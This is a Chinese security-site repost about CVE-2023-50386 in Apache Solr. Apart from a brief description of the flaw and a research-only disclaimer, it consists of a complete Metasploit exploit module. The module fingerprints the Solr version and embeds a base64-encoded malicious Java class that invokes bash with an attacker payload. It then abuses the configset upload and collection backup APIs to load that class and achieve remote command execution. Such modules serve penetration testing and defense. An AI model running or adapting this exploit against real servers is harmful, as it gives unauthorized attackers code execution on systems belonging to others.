CVE-2023-50386 | Apache Solr

admin 2024年6月7日00:01:36评论52 views字数 13556阅读45分11秒阅读模式

使使使

影响描述

    Apache Solr在创建Collection时会以一个特定的目录作为classpath,从中加载一些类,而Collection的备份功能可以导出攻击者上传的恶意class文件到该目录,从而让Solr加载自定义class,造成任意Java代码执行,可以进一步绕过Solr配置的Java沙箱,最终造成任意命令执行。

poc&exp

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Java  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HTTP::ApacheSolr  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache Solr Backup/Restore APIs RCE',        'Description' => %q{          Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File          with Dangerous Type vulnerability which can result in remote code execution in the context of the user running          Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load          some classes from it. The backup function of the Collection can export malicious class files uploaded by          attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution          can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.        },        'Author' => [          'l3yx', # discovery          'jheysel-r7' # module        ],        'References' => [          [ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'],          [ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'],          [ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'],          [ 'CVE', '2023-50386']        ],        'License' => MSF_LICENSE,        'Platform' => %w[unix linux],        'Privileged' => false,        'Arch' => [ ARCH_CMD ],        'Targets' => [          [            'Unix Command',            {              'Platform' => %w[unix linux],              'Arch' => ARCH_CMD            }          ]        ],        'Payload' => {          'BadChars' => "x20"        },        'DefaultTarget' => 0,        'DefaultOptions' => {          'FETCH_WRITABLE_DIR' => '/tmp/'        },        'DisclosureDate' => '2024-02-24',        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )    register_options(      [        Opt::RPORT(8983),        OptString.new('USERNAME', [false, 'Solr username', 'solr']),        OptString.new('PASSWORD', [false, 'Solr password']),        OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']),      ]    )  end  # If authentication is used  @auth_string = ''  def check    print_status('Running check method')    auth_res = solr_check_auth    unless auth_res      return CheckCode::Unknown('Authentication failed!')    end    # convert to JSON    ver_json = auth_res.get_json_document    # get Solr version    solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])    print_status("Found Apache Solr #{solr_version}")    # get OS version details    @target_platform = ver_json['system']['name']    target_arch = ver_json['system']['arch']    target_osver = ver_json['system']['version']    print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")    unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) ||           solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0'))      return CheckCode::Safe('Running version of Solr is not vulnerable!')    end    CheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}")  end  # This method returns the compiled byte code of the following class, SourceParser.java:  #  # package zk_backup_0.configs.confname;  #  # import sun.misc.Unsafe;  # import java.io.BufferedReader;  # import java.io.File;  # import java.io.FileOutputStream;  # import java.io.InputStreamReader;  # import java.lang.reflect.Field;  # import java.lang.reflect.Method;  # import java.security.ProtectionDomain;  # import java.util.Map;  #  #  # public class SourceParser {  #  #     static {  #         try {  #             Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");  #             unsafeField.setAccessible(true);  #             Unsafe unsafe = (Unsafe) unsafeField.get(null);  #             Module module = Object.class.getModule();  #             Class<?> currentClass = SourceParser.class;  #             long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));  #             unsafe.getAndSetObject(currentClass, addr, module);  #  #             String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" };  #             Class clz = Class.forName("java.lang.ProcessImpl");  #             Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);  #             method.setAccessible(true);  #             Process process = (Process) method.invoke(clz, cmd, null, null, null, false);  #         } catch (Exception e) {  #             e.printStackTrace();  #         }  #     }  # }  def go_go_gadget(configuration1_name)    gadget = ''    gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'    gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'    gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'    gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'    gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'    gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'    gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'    gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'    gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'    gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'    gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'    gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'    gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'    gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'    gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'    gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'    gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'    gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'    gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'    gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'    gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'    gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'    gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'    gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'    gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'    gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'    gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'    gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'    gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'    gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'    gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='    gadget = Rex::Text.decode_base64(gadget)    # Replace 'confname' with our randomized 8 character configuration name    gadget.sub!('confname', configuration1_name)    # Replace the placeholder payload with our packed payload which is prefixed with it's size.    gadget.sub!("x00x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded))  end  def packed_payload(pload)    "#{[pload.length].pack('n')}#{pload}"  end  def create_zip    zip_file = Rex::Zip::Archive.new    directory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf')    Dir.glob(File.join(directory_to_zip, '**', '*')).each do |file_path|      if File.file?(file_path)        relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path        file_contents = File.read(file_path)        zip_file.add_file(relative_path, file_contents)      elsif File.directory?(file_path)        relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path        zip_file.add_file(relative_path, nil, recursive: true)      end    end    zip_file  end  def upload_conf(file_name, zip_archive, conf_name)    mime = Rex::MIME::Message.new    mime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename="#{file_name}"")    res = solr_post({      'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),      'method' => 'POST',      'ctype' => 'application/octet-stream',      'data' => zip_archive,      'auth' => @auth_string,      'vars_get' => {        'action' => 'UPLOAD',        'name' => conf_name      }    })    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res    fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200    data = res.get_json_document    if data.dig('responseHeader', 'status') == 0      print_good('Uploaded configuration successfully')    elsif data.dig('error', 'msg')      fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")    else      fail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target")    end    res  end  def create_collection(collection_name, configuration_name)    solr_get({      'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),      'method' => 'GET',      'auth' => @auth_string,      'vars_get' => {        'action' => 'CREATE',        'name' => collection_name,        'numShards' => 1,        'replicationFactor' => 1,        'wt' => 'json',        'collection.configName' => configuration_name      }    })  end  def backup_collection(collection_name, location, backup_name)    res = solr_get({      'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),      'method' => 'GET',      'auth' => @auth_string,      'vars_get' => {        'action' => 'BACKUP',        'collection' => collection_name,        'location' => location,        'name' => backup_name      }    })    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res    data = res.get_json_document    if data.dig('responseHeader', 'status') == 0      print_good('Backed up collection successfully')    elsif data.dig('error', 'msg')      fail_with(Failure::UnexpectedReply, "Failed to Backup configuration. Target responded with error: #{data['error']['msg']}")    else      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")    end    res  end  def cleanup    print_status('Cleaning up...')    # Clean up collections and configurations    # Delete the collection first then the configs or you'll get the following error:    # "Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]"    if @collection_res&.code == 200      delete_collection_res = solr_get({        'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),        'method' => 'GET',        'auth' => @auth_string,        'vars_get' => {          'action' => 'DELETE',          'name' => @collection1_name        }      })      print_error("Unable to delete collection: #{@collection1_name}") unless delete_collection_res&.code == 200    end    if @conf1_res&.code == 200      delete_conf1_res = solr_get({        'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),        'method' => 'GET',        'auth' => @auth_string,        'vars_get' => {          'action' => 'DELETE',          'name' => @configuration1_name        }      })      print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200    end    if @conf2_res&.code == 200      delete_conf2_res = solr_get({        'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),        'method' => 'GET',        'auth' => @auth_string,        'vars_get' => {          'action' => 'DELETE',          'name' => @configuration2_name        }      })      print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200    end  end  def exploit    @collection1_name = Rex::Text.rand_text_alpha(8)    @configuration1_name = Rex::Text.rand_text_alpha_lower(8)    @collection2_name = Rex::Text.rand_text_alpha(8)    # Zip up conf1    conf1_zip = create_zip    conf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name))    conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')))    # Upload conf1    @conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name)    # Create collection from conf1    @collection_res = create_collection(@collection1_name, @configuration1_name)    fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_res    data = @collection_res.get_json_document    if @collection_res.code == 200 && data['responseHeader']['status'] == 0      vprint_good('Created collection successfully')    elsif data['error']['msg']      fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")    else      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")    end    # Backup collection and export conf1    location = '/var/solr/data/'    backup_name = "#{@collection2_name}_shard1_replica_n1"    backup_collection(@collection1_name, location, backup_name)    # Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`:    location = "/var/solr/data/#{backup_name}"    backup_name = 'lib'    backup_collection(@collection1_name, location, backup_name)    # Zip up conf2    conf2_zip = create_zip    editted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))    editted_solrconfig = editted_solrconfig.gsub('</config>', "     <valueSourceParser name="myfunc" class="zk_backup_0.configs.#{@configuration1_name}.SourceParser" />n</config>")    conf2_zip.add_file('solrconfig.xml', editted_solrconfig)    # Upload conf2    @configuration2_name = Rex::Text.rand_text_alpha(8)    @conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name)    # Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the    # first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)    res = create_collection(@collection2_name, @configuration2_name)    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res    data = res&.get_json_document    if res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}"      print_good('Successfully dropped the payload')    else      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully")    end  endend

CVE-2023-50386 | Apache Solr

CVE-2023-50386 | Apache Solr

原文始发于微信公众号(漏洞猎人):CVE-2023-50386 | Apache Solr

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月7日00:01:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-50386 | Apache Solrhttps://cn-sec.com/archives/2821474.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息